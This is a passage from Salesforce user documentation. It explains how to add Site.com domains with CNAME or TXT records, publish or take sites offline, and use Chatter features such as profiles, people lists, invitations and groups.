Managing Domains and Live Sites

Adding Domains Using CNAME Records in Site.com

Adding Domains Using CNAME Records in Site.com


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

To publish a site to the Internet, you must first set its domain information. Add a domain name using a CNAME record if youre creating a new domain name, or if youre adding a domain name thats currently not in use. If you dont already have a branded, custom Web address, such as www.mycompany.com, create one by registering through a domain name registrar. Each domain name in Site.com must be unique. Salesforce verifies your domain name when you add it to the sites list of domains, and again when you publish the site. Tip: It can take up to 48 hours for domain changes to become available on the Internet. However, you can reduce this time by lowering the time to live (TTL) value in the account management settings of your DNS provider. Because the current remaining time must expire before your new setting takes effect, you should update this value a few days prior to going live. 1. In the account management settings of your DNS provider, create a CNAME record that points your branded domain and subdomain to the same name with a live.siteforce.com suffix. For example, www.mycompany.com must point to www.mycompany.com.live.siteforce.com. Contact your DNS provider if youre unsure how to create a CNAME record. 2. When your CNAME record is available on the Internet, open Site.com Studio and click Site Configuration > Domains on the Overview tab. 3. Enter the domain name in the text box providedfor example, www.mycompany.comand click Add. 4. Repeat for any additional domain names. For example, you might want to include common misspellings of the domain name in case users make typing mistakes. You must create a corresponding unique CNAME record for each domain name. 5. When youre ready to go live, publish the site. Note: If you have an MX record set up for your domains mail service, the domain assigned to the MX record cant be the same as the domain you assign to your CNAME record. If you create a CNAME record using the same domain as your MX record, your mail service will be disabled.

2486

Managing Domains and Live Sites

Adding Domains Using TXT Records in Site.com

For example, if you have mydomain.com assigned to your MX record, and you want to use it for your CNAME record, we recommend assigning www.mydomain.com to your CNAME record instead, and then working with your DNS provider to redirect www.mydomain.com to mydomain.com. When you update existing domain information, you must publish your changes for them to take effect. If you see a message that there are no changes to publish, first update a page in your site and then publish your changes.

See Also:
Adding Domains Using TXT Records in Site.com Managing Domains in Site.com

Adding Domains Using TXT Records in Site.com


To publish a site to the Internet, you must first set its domain information. Add a domain name using a TXT record if youre reusing a domain name thats currently in use. For example, if youre migrating from an existing site to a new Site.com site, you can transition seamlessly to the new site when youre ready to go live. This method is suitable only for existing sites that use DNS A records. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

Each domain name in Site.com must be unique. Salesforce verifies your domain name when you add it to the sites list of domains, and again when you publish the site. Tip: It can take up to 48 hours for domain changes to become available on the Internet. However, you can reduce this time by lowering the time to live (TTL) value in the account management settings of your DNS provider. Because the current remaining time must expire before your new setting takes effect, you should update this value a few days prior to going live. 1. In the account management settings of your DNS provider, create a TXT record that contains your organizations ID. To find the ID, open Site.com Studio, click Site Configuration > Domains on the Overview tab, and copy the organization ID displayed there. Contact your DNS provider if youre unsure how to create a TXT record. 2. When your TXT record is available on the Internet, enter the domain name in the text box provided in the Domains viewfor example, www.mycompany.comand click Add.

2487

Managing Domains and Live Sites

Publishing and Managing Live Sites

3. Repeat for any additional domain names. For example, you might want to include common misspellings of the domain name in case users make typing mistakes. 4. Publish your Site.com site when its ready. It wont yet be live on the Internet. 5. To go live, in your DNS account management settings: a. Create a CNAME record that points your branded domain and subdomain to the same name with a live.siteforce.com suffix. For example, www.mycompany.com must point to www.mycompany.com.live.siteforce.com. You must create a corresponding unique CNAME record for each domain name. b. Delete the old A record, and also the TXT record you created in step 1.

See Also:
Adding Domains Using CNAME Records in Site.com Managing Domains in Site.com

Publishing and Managing Live Sites


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

Publishing in Site.com refers to the act of making pages and assets live so users can see them. Before you publish your site for the first time, you must set the site's domain information. If you don't set up your domain, youll be prompted to do so during the publishing process. Once your domain is set up, you can publish your entire site or just parts of it. When working with a site, you can: Publish site-wide changes. Publish only selected site changes. Take the site offline to remove it from public view.

2488

Managing Domains and Live Sites

Publishing Site-Wide Changes

Review the publishing history.

See Also:
Publishing Site-Wide Changes Taking Your Site Offline Publishing Parts of Your Site Using Site.com Studio as a Publisher or Designer About the Publish History

Publishing Site-Wide Changes


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

Before you publish your site for the first time, you must set the site's domain information. If you don't set up your domain, youll be prompted to do so during the publishing process. Once your domain is set up, you can publish your entire site or just parts of it. To publish all site changes: 1. 2. 3. 4. 5. 6. 7. Click Publish Changes.... Ensure Site-wide changes is selected. This publishes everything. Click Next. Review the list of modified files to ensure that you're ready to publish all of the files. Click Next. You can add an optional publishing note. This shows in the Description field of the Publishing History. Click Publish.

2489

Managing Domains and Live Sites

Publishing Parts of Your Site

Salesforce sends an email notification when your changes are live on the site.

See Also:
Publishing and Managing Live Sites Publishing Parts of Your Site Taking Your Site Offline Using Site.com Studio as a Publisher or Designer About the Publish History

Publishing Parts of Your Site


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

Before you publish your site for the first time, you must set the site's domain information. If you don't set up your domain, youll be prompted to do so during the publishing process. Once your domain is set up, you can publish your entire site or just parts of it. When you update your site, instead of publishing the entire site, you can publish only the items you want. This can speed up publishing considerably, especially if you have a large site. When you click Publish Changes..., you see a list of all changes that were made since the last time the site was published. If an item has dependencies, these items are also selected. For example, if you select a page, but you actually changed both the page and the style sheet it relies on, the style sheet is also automatically selected. Click View to see the list of dependencies. If you cant deselect an item, its a critical dependency for another item youve selected. Critical dependencies show up as greyed-out checkboxes. To publish selected site changes: 1. 2. 3. 4. 5. 6. 7. Click Publish Changes.... By default, all changes are selected. To publish specific changes, select Only selected items and choose the relevant items. Select the items you want to publish. Click Next. A list of what will be published displays. Review the list. To make changes, click Back. Click Next. You can add an optional publishing note. This displays in the Description field of the Publishing History view.

2490

Managing Domains and Live Sites

About the Publish History

8. Click Publish. Youll receive an email notification when your site changes go live.

See Also:
Publishing and Managing Live Sites Publishing Site-Wide Changes Taking Your Site Offline About the Publish History

About the Publish History


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

Publishing in Site.com refers to the act of making pages and assets live so users can see them. Once you publish your site, you can view the Publish History from the Overview tab. In the Publish History, you can: See a list of recent submissions, including the date and who submitted the change. Read the publishing notes (under Description). See the detail of each submission by clicking and viewing details.

See Also:
Publishing and Managing Live Sites Publishing Site-Wide Changes Publishing Parts of Your Site Taking Your Site Offline Using Site.com Studio as a Publisher or Designer

2491

Managing Domains and Live Sites

Taking Your Site Offline

Taking Your Site Offline


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

Once you publish a site, you cant delete it, but you can take it offline if you no longer want users to see it. You do this by removing the CNAME from your DNS server. Users then receive a Site not found message from their browser when attempting to view the site. You can give access again at any time by adding the CNAME record back.

See Also:
Managing Domains in Site.com Using Site.com Studio as a Publisher or Designer

2492

COLLABORATING WITH CHATTER

Chatter Overview
Chatter is a Salesforce collaboration application that helps you connect with people and share business information securely and in real time. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Use Chatter features like feeds, profiles, groups, and more to share information, collaborate, and keep up with the latest updates in your company. Chatter works in accordance with all of the security and permission settings in your Salesforce organization. Chatter is enabled by default for organizations created after June 22, 2010. For existing organizations, you must enable Chatter. You can access the Chatter app in the app menu in the top right corner of any page. If your administrator added Chatter tabs to other apps and you previously customized your display, you need to add the tabs manually. Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try again. Chatter is not supported: Using Microsoft Internet Explorer version 6.0 For portal users In the Console tab

Additionally we reserve the right to enforce limits on: The length of time that posts, comments, and tracked field changes are stored on the Salesforce servers. The number of posts, comments, and tracked field changes available in the Chatter feed. Currently tracked fields without likes or comments are removed from the feed after 45 days. The number of email notifications that can be sent per organization per hour.

These limits are subject to change at any time. Contact salesforce.com for more information. See Chatter Terminology for common Chatter terms.

See Also:
Setting Up Chatter Chatter FAQs Chatter Mobile App Overview

2493

Collaborating with Chatter

Chatter Terminology

Chatter Terminology
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The following terminology is used for Chatter. Chatter Bookmarks Chatter bookmarks let you keep track of individual posts that interest you. When someone comments on a post you bookmarked, you receive an email notification. Chatter Favorite Chatter favorites are shortcuts on your Chatter tab to the latest posts and comments for topics, list views, and Chatter feed searches. Chatter Feed A list of recent activities in Salesforce. Chatter feeds display: On the Chatter or Home tab, where you can see your posts, posts from people you follow, and updates to records you follow, and posts to groups you're a member of On profiles, where you can see posts made by the person whose profile you're viewing On records, where you can see updates to the record you're viewing On Chatter groups, where you can see posts to the group you're viewing

Chatter Group Chatter groups let you share information with specific people. For example, if you're working on a project and want to share information only with your team members, you can create a Chatter group for your team. Chatter groups include a list of members, a Chatter feed, and a photo. You can create the following types of Chatter groups: Public: Only group members can post, but anyone can see the posts and join the public group. Private: Only group members can post and see the posts. The group's owner or managers must add members.

Comment, Chatter A reply to a post in a Chatter feed. Customers, Chatter Users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. Feed Attachment, Chatter A feed attachment is a file or link that is attached to a post in a Chatter feed. Feed Tracking, Chatter Administrator settings that determine which records can be followed and which fields can be tracked in Chatter feeds. Enabling an object for feed tracking allows people to follow records of that object type. Enabling fields for feed tracking allows users to see updates on the Chatter feed when those fields are changed on records they follow. File Collaborator Users with the collaborator permission can view, download, share, change permission, edit the file, and upload new versions of files in Chatter.

2494

Collaborating with Chatter

Chatter Terminology

File Owner You are the owner of a file when you upload the file in Chatter, attach the file to a Chatter feed, or upload the file in Salesforce CRM Content. As the owner of the file you can view, edit, download, share, upload a new version, and delete the file, as well as make the file private and change the permission on the file. File, Private A private file in Chatter is indicated by the private icon ( ) and is only available to the file owner and isn't shared with anyone. A private file is created when you upload a file on the Files tab or contribute a file to a Salesforce CRM Content personal library. You own files you upload or contribute. File, Privately Shared A privately shared file in Chatter is indicated by the privately shared icon ( and the specific people or groups it has been shared with. File, Your Company The your company icon ( ) indicates a file that is shared with all Chatter users in your company. All Chatter users in your company can find and view this file. File Viewer Users with the viewer permission can view, download, and share files in Chatter. Files Tab A tab that lists a user's Chatter and Salesforce CRM Content files. Follow A subscription to a user or record that lets you see related updates in your Chatter feed. Follow a user to see the userss posts. Follow a record to see posts, comments, and field changes. Influence, Chatter An indicator of a persons influence in Chatter. The number of posts and comments the person makes, and the number of comments and likes the person receives determine the level of influence. Like To show support for a post or comment in a Chatter feed. When you like a post or comment, you receive email notifications for subsequent comments. Message, Chatter A Chatter message is a private communication with other Chatter users. Use messages to send your manager a question privately, or to communicate with a few select people when a discussion isn't relevant to everyone you work with. Messages don't appear in your feed, your profile, or any other part of Chatter that's publicly visible. People Users in your Salesforce organization. A list of people is available on the People tab in Chatter. Top Influencers lead collaboration efforts by regularly sharing essential content. Active Influencers encourage others to get involved and share knowledge. Observers are quiet participants or just getting started in Chatter. ) and is only available to the file owner

2495

Collaborating with Chatter

Using Chatter

Post A top-level comment in a Chatter feed. Post Sharing Lets you copy a public Chatter post and publish it to your profile or a group youre a member of. You can also share the post with other Chatter users by sending a link to the post in an email or instant message. Profile, Chatter A personal page for each Salesforce user that includes contact information, following and followers lists, a Chatter feed, and a photo. Record Update A post in a Chatter feed that is the result of a field change on a record that is being followed. Unfollow To stop following a user or record and stop seeing related posts in your Chatter feed.

Using Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

With Chatter, you can: Update your profile to tell other people about yourself. Update your status so people can see what you're working on. Post a file or a link to share with other people. Find and follow people in your Salesforce organization. View Chatter feeds to see recent activities around Salesforce. Follow records to see changes to those records in the Chatter feed on your Home tab and Chatter tab. Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. Create and join groups to share information with your team members. Receive email notifications when activities happen in Chatter. Search for Chatter feeds, files, groups, and people. Bookmark a post that interests you and receive email notifications when someone comments on that post. Share a public post to your profile or with a group youre a member of. You can also send a link to the post to other Chatter users in an email or instant message.

See Also:
Setting Up Chatter Chatter FAQs

2496

User Profiles

Chatter Tab Overview

Chatter Tab Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

From the Chatter tab: Click your name or photo to go to your profile page. Click Messages to read your private messages or to send a private message. Share what you're working on. Post files or links to share with other people. View, filter, sort, and add comments to your Chatter feed. Click the People, Groups, or Files link on the left side to see the people, groups, or files list. View your people, group, and record recommendations. View your company's trending topics to see the topics that are being discussed right now in Chatter. Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. Click a favorite to see the latest posts and comments for topics, list views, and Chatter feed searches. If you haven't added any favorites, the Favorites section doesn't appear on the Chatter tab. Bookmark a post to keep track of posts you are interested in. Share a public post to your profile, with a group, or send a link to the post to other Chatter users in an email or instant message.

See Also:
Using Chatter Adding Topics to Posts and Comments

USER PROFILES
Profile Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Customize your profile with a photo and information about yourself so your coworkers can learn more about you. Click Your Name > My Profile at the top of any page or click your name anywhere around the application to view your profile. View other people's profiles by clicking their name. If hover details are enabled, you can also see contact details and perform actions by hovering over people, files, and groups in the recent items lists and owner fields on records.

2497

User Profiles

Profile Overview

Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps. From your profile: Click in the Contact section to edit your contact information.

Click in the About Me section to add additional information about yourself. Post an update in the What are you working on? field. Upload a profile photo. Send a private message. See who's following you and who you're following. If you're not following anyone, click Find people to follow in the Following list and start following people. View your group memberships. If you're not in any groups, click Join or create groups in the Groups list to join some groups. See your recent updates in your Chatter feed. View a single feed update. View, download, and search files you've posted in Chatter. View the topics you use most often. See Chatter activity statistics and influence.

When using profiles, consider these tips: Your post displays in your Chatter feed and the feeds of people following you. To delete your post from feeds, hover over the post and click . You can attach files and links to your posts. Your contact information is also visible in your user detail and is subject to validation or other rules set by your administrator. Click the User Detail link on your profile to view your user detail page. When you change your email address in your contact information, a confirmation is sent to the new address. You must click the link provided in that email for the change to take effect. Information in the About Me section is searchable. Use global search and view the People results. Portal users don't have profiles. For organizations using Salesforce to Salesforce, the Connection User displays in feeds, but does not have a profile. Users with the "Manage Users" permission can edit profiles and photos for other users. Click the People or Chatter links above the profile picture to go to the People list or to the Chatter page.

See Also:
Using Chatter Configuring Chatter Email Notifications and Digests Chatter Moderators Chatter FAQs

2498

User Profiles

Editing Chatter Contact Information

Editing Chatter Contact Information


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Your contact information is visible to all users in your Chatter organization. You can change this information at any time by viewing your profile on the Profile tab or by clicking Your Name > My Profile at the top of any page. Click in the Contact section of your profile to edit your contact information. Click More... to see all the available fields.

You can change the following fields (in alphabetical order): Field
City Country Email

Description City portion of users address. Up to 40 characters are allowed in this field. Country portion of users address. Up to 40 characters are allowed in this field. Email address of user. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field. Fax number for user. First name of user, as displayed on the user edit page. Up to 40 characters are allowed in this field. Last name of user, as displayed on the user edit page. Up to 80 characters are allowed in this field. Indicates the user's manager. This field can only be set by an administrator. Cellular or mobile phone number. Up to 40 characters are allowed in this field. State or province portion of users address. Up to 20 characters are allowed in this field. Street address for user. Up to 255 characters are allowed in this field. Job title of user. Up to 80 characters are allowed in this field. The user's work phone number. You can enter up to 40 characters here. Zip code or postal code portion of users address. Up to 20 characters are allowed in this field.

Fax First Name

Last Name

Manager Mobile Phone State/Province Street Address Title Work Phone Zip/Postal Code

Uploading Chatter Group and Profile Photos


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Upload a photo to your profile so people can see who you are, or upload a photo for Chatter groups that you own or manage. 1. View your profile or a group:

2499

User Profiles

Using the Following and Followers Lists

View your profile by clicking Your Name > My Profile at the top of any page or by clicking the Profile tab. View a group by clicking a group name in a feed, on the Groups tab, or in the Groups list on someone's profile.

2. Hover over the stock photo and click Add Photo, or if you previously added a photo, click Update. 3. Click Browse.... 4. Select a file to upload and click Open. Note: Photos can be .jpg, .gif, or .png format up to 8 MB.

5. Drag the dotted lines in the photo to create a thumbnail image that displays next to your name or the group's name around the application. 6. Click Save. To delete a photo, hover over the photo and click Delete, then click OK.

See Also:
Profile Overview Viewing Chatter Groups

Using the Following and Followers Lists


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

View the Following and Followers lists on your profile to see who and what you're following, and who is following you. If you're not following anyone, click Find people to follow in the Following list to view the People list and start following people. You can also view the Following and Followers lists on other people's profiles. Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

In either list, click Show All to view the full list in alphabetical order. Use the Next and Previous links to see more of the list. Optionally filter the Following list by people or objects, for example, accounts or files. In your Following list, click In any Followers list, click to stop following a person or record. Follow to follow a person or record. to stop following them. Follow to follow a person, or In another person's Following list, click

2500

User Profiles

Using the Files Owned List

Click Done to close the window.

See Also:
Following People Following Records The People and Records You Auto-Follow Initially Profile Overview Feeds Using Chatter Feeds People Overview

Using the Files Owned List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Files Owned list on a profile shows the five files the profile owner attached most recently to a Chatter feed on the a profile, a record, or a group. It also includes files the profile owner has uploaded most recently to Salesforce CRM Content libraries. Hover over a file and you can preview it by clicking the thumbnail, follow, share, download, upload a new version, and go to the file detail page by clicking the file name. To see a list of all the files the profile owner has attached and uploaded, to search for a specific file, or to perform actions on a file, click Show All. The 25 most recently viewed files are listed by default. On this list you can: Search for files the profile owner has attached and uploaded in Chatter and Salesforce CRM Content. The list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list. Upload private files or upload and share files with people, groups, or via a file link. Preview a file without downloading it. Follow and receive updates about a file in the Chatter feed. Click updates about the file. next to the file you're following to stop receiving

Click to download, upload a new version, share with people, groups, or via link, and see sharing settings. Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter feed for files you follow. Click a file owner's name to see his or her profile. Note: Only files you have access to are listed. For example, if the profile owner posted a file to a private group or library you're not a member of, you won't see that file in the list. Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

2501

People

People Overview

Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.

See Also:
Profile Overview

PEOPLE
People Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The People tab and the People list on the Chatter tab display a list of the users in your organization. Click a person's name or photo to view his or her profile. Click Follow to see a person's updates in the Chatter feed. You can't follow customers. Click Following to stop seeing a person's updates in the Chatter feed. Click a column header to sort the list: Name sorts alphabetically by name. By default, the list is sorted alphabetically, in ascending order. Following sorts based on who you're following and not following. Search for users by typing characters of a first or last name in the search box at the top of the page. The list automatically filters based on what you type. At the top of the list, click a letter to list everyone whose last name begins with that letter. Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. View the people that Chatter recommends you follow. Click More in the Recommended People section to view all of your recommendations. If no recommendations appear, then you're already following all the recommended people.

Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps.

See Also:
Feeds Using the Following and Followers Lists Following People People Recommendations Overview Filtering Your Feed

2502

People

People Recommendations Overview

People Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends people in your organization that you might want to follow based on similar interests. For example, Chatter recommends people who: Follow the same people as you. Are in your management hierarchy, such as your manager, people who report to your manager, and people who report to you. Salesforce uses the Manager field on the personal information page to determine these recommendations. If this field is blank, Chatter won't recommend people based on your management hierarchy. Only your Salesforce administrator can edit the Manager field. Are popular, which means they have many followers. Are new to Chatter. Are interested in the same records as you. For example, someone who has looked at or edited an account that you've recently viewed. Are often followed together with people you already follow. For example, if you follow Madison Rigsby, you get a recommendation for Suzanne Powell if many people who follow Madison also follow Suzanne.

To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations appear, then you're already following all the recommended people.

See Also:
Viewing Your Recommendations Using the Following and Followers Lists Following People Following Records

Inviting People to Join Chatter


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To invite people to Chatter: Allow Invitations

You can invite people from your company that don't have Salesforce licenses to use Chatter. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. To invite people to Chatter:

2503

People

Inviting People to Join Chatter

1. Click Invite People to Chatter on the People page or Invite Coworkers! on the Chatter page. Note: You can only invite people with email addresses in your company's domains. Portal users can't send invitations. 2. To send invitations from Chatter, enter email addresses and click Send. 3. To send invitations using your own email account, click send your own email invitation. If you have a default email client set, an email containing an invitation link opens in your mail program. Otherwise, you see an invitation link that you can copy and paste into an email. You can also invite coworkers to join a public group even if they don't use Chatter yet. Additionally, owners and managers of private groups can send invitations. If customer invitations are enabled, owners and managers can also invite customers. When someone accepts an invitation to join the group, they join Chatter as well. 1. Click Groups and click on a group name. 2. In the Members section on the group detail page, click Invite People. If you are the group owner or manager, you can also click Add/Remove Members, then click Invite them to Salesforce Chatter!. 3. Enter email addresses and click Send. Note: If a user doesn't accept the invitation within the first day, Chatter sends an email reminder the second day. If the user doesn't accept that invitation, Chatter sends another reminder the following day. A user has up to 60 days to accept an invitation to join Chatter. If during that time, an administrator deselects Allow Invitations or removes the user's domain from the list, the user can't accept the invitation. When delegated authentication single sign-on is enabled in your organization, invited users bypass the password registration page. If their username already exists, they wont be able to accept the invitation.

See Also:
People Overview Adding and Removing Chatter Group Members Adding or Removing Customers in Chatter Groups

2504

Groups

Chatter Groups Overview

GROUPS
Chatter Groups Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter groups let you collaborate with specific people. For example, if you're working on a team project, you can create a group for your team to share project-related files and information. You can join up to 100 groups, and your company can have a total of 10,000 groups. Chatter groups have different levels of access: Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone can join a public group. Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups directly. Allow Customers: The group owner and managers can invite customers to join the group. Note: Once you allow customers in a group, you can't change the group access level.

Click Groups on the Chatter tab to see a list of groups. Note: Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps.

See Also:
Chatter Groups Home Joining or Leaving Chatter Groups Viewing Chatter Groups Editing, Changing the Owner, or Deleting Chatter Groups Joining or Leaving Chatter Groups

2505

Groups

Chatter Groups Home

Chatter Groups Home


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Using Chatter Groups (2:16 minutes) The Groups page, accessible by clicking Groups on the Chatter tab, displays a list of Chatter groups. Click New Group to create a new group. Filter the groups list: All Groups shows all groups in your company Recently Viewed shows the groups you recently looked at, starting with the group you viewed last My Groups shows the groups you belong to, own, or manage Search for groups by typing two or more letters of a group name or description in the Find Groups box. The list automatically filters based on what you type. View the groups that Chatter recommends you join based on the group's popularity and the number of connections you have in the group in the Recommendations section. Click More to see the full list. If you don't see recommendations, you already belong to all the recommended groups. Within the groups list: Click a group name to view the group. You can view all groups, but you'll only see updates and files for public groups, and for private groups you belong to. Groups that allow customers say (With Customers). Click a group owner's name to see his or her profile. Click Join to join a public group. For private groups, click Ask to Join to email a request to join to the group's owner and managers. Users with the Modify All Data permission can directly join private groups, and therefore see Join for private groups. Click to leave a group or to withdraw a request to join a group. Click a column header to sort the list. The Group column sorts by group name; the Last Activity column sorts by the date of the last post or comment on a group; the Membership column sorts based on your membership status.

See Also:
Chatter Groups Overview Editing, Changing the Owner, or Deleting Chatter Groups Viewing Chatter Groups Using the Group Files List Creating Chatter Groups Adding and Removing Chatter Group Members Chatter Group Recommendations Overview Filtering Your Feed Joining or Leaving Chatter Groups

2506

Groups

Creating Chatter Groups

Creating Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Create Chatter groups to collaborate with your teams and work on projects. 1. On the Chatter tab, click Groups. 2. Click New Group and enter a group name and description. Note: You own groups you create. To assign a new owner, finish creating the group, then edit the group settings.

3. Select an access level: Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone can join a public group. Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups directly. Allow Customers: The group owner and managers can invite customers to join the group. Note: Once you allow customers in a group, you can't change the group access level.

4. Click Save.

See Also:
Chatter Groups Overview Viewing Chatter Groups Chatter Groups Home Adding and Removing Chatter Group Members Viewing Chatter Group Members Joining or Leaving Chatter Groups

Joining or Leaving Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To join a Chatter group: For public groups, click Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover.

2507

Groups

Viewing Chatter Groups

For private groups, click Ask to Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover. An email is sent to the group's owner and managers, who can accept or decline your request. Users with the Modify All Data permission can directly join private groups, and therefore see Join for private groups.

You can join up to 100 groups. Requests to join private groups count toward this limit. For example, if you're a member of 90 groups, you can only request to join 10 more groups. To leave a public or private Chatter group, go to the Groups list on the Chatter tab or a group detail page and click also withdraws a request to join a private group. . Clicking

See Also:
Chatter Groups Overview Viewing Chatter Groups Chatter Groups Home

Viewing Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To view a Chatter group, click the group's name in a feed, in the Groups list on the Chatter tab, or on someone's profile. You can view all groups, but you'll only see updates and files for public groups, and for private groups you belong to. The actions you can perform depend on your role in the group. People with the Modify All Data permission can perform all actions on all groups regardless of membership, except post to groups they don't belong to. Additionally, people with the View All Data permission can view details of private groups they don't belong to. For all groups: Click Join to join a public group, or Ask to Join to send an email to the owner and managers of a private group requesting to join. View group information and description. For private groups, you must be a member to view the group information. View the group's members in the Members section. The group owner's picture has a key icon and displays in the top left. For groups that allow customers, the Customers section shows you if the group has any customers. View, download, and search files posted to the group in the Group Files section. For private groups, you must be a member to view files. Click the Groups or Chatter links above the group's profile picture to see the group list or to go to your Chatter page.

As a group member: Click to leave a group, or to withdraw a request to join a private group. To leave a group you own, you must first assign a new owner. If your administrator has enabled invitations, click Invite People to invite people not already using Chatter to join the group. For private groups, you must be a manager or owner to invite people. Click Email Me... to be emailed about activity in the group, either every time someone posts, daily, or weekly. The link changes depending on your settings. For example, selecting Every Post changes the link to Email Every Post. To stop receiving email for the group's activity, click Turn Off Group Email. Clicking Email Settings takes you to the email settings page, where you can modify all your Chatter email settings. Post and comment in the Chatter feed. You can also comment, but not post, on public groups you don't belong to.

2508

Groups

Viewing Chatter Group Members

Additionally, as a group manager or owner: Click Group Settings to edit group settings, including the name, description, owner, and access level. Click Add Information or in the Information section to add additional information for the group's members. You can customize this section, including its title, to say anything you want. Click Add Description or in the Description section to add a description of the group. Click Add/Remove Members to add or remove group members. Click Change Roles to change member roles. This link doesn't display on groups with only one member. Hover over the group photo and click Add Photo, Update, or Delete to modify the group photo. Click Requests to accept or decline requests to join your private group. This link only displays when there are requests.

See Also:
Creating Chatter Groups Editing, Changing the Owner, or Deleting Chatter Groups Using the Group Files List Chatter Groups Home Adding and Removing Chatter Group Members Joining or Leaving Chatter Groups Viewing Chatter Group Members

Viewing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Members list on a Chatter group detail page shows all of the members of a group. Click Show All to view the full list in alphabetical order. Filter the list to see all members, managers, or the owner Search using the Find Members search box Click Follow or next to a person's name to start or stop following them. You can't follow customers. Use the Next and Previous links to see more of the list Click Done to close the window

See Also:
Adding and Removing Chatter Group Members Joining or Leaving Chatter Groups Viewing Chatter Groups

2509

Groups

Chatter Group Recommendations Overview

Chatter Group Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends groups that you might want to join based on: The popularity of the group determined by the number of members. The number of people you're following in the group. Chatter recommends groups with the most members you're following. If the group is new (created in the last month).

To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations appear, then you already belong to all the recommended groups.

See Also:
Viewing Your Recommendations Chatter Groups Home Creating Chatter Groups

Using the Group Files List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

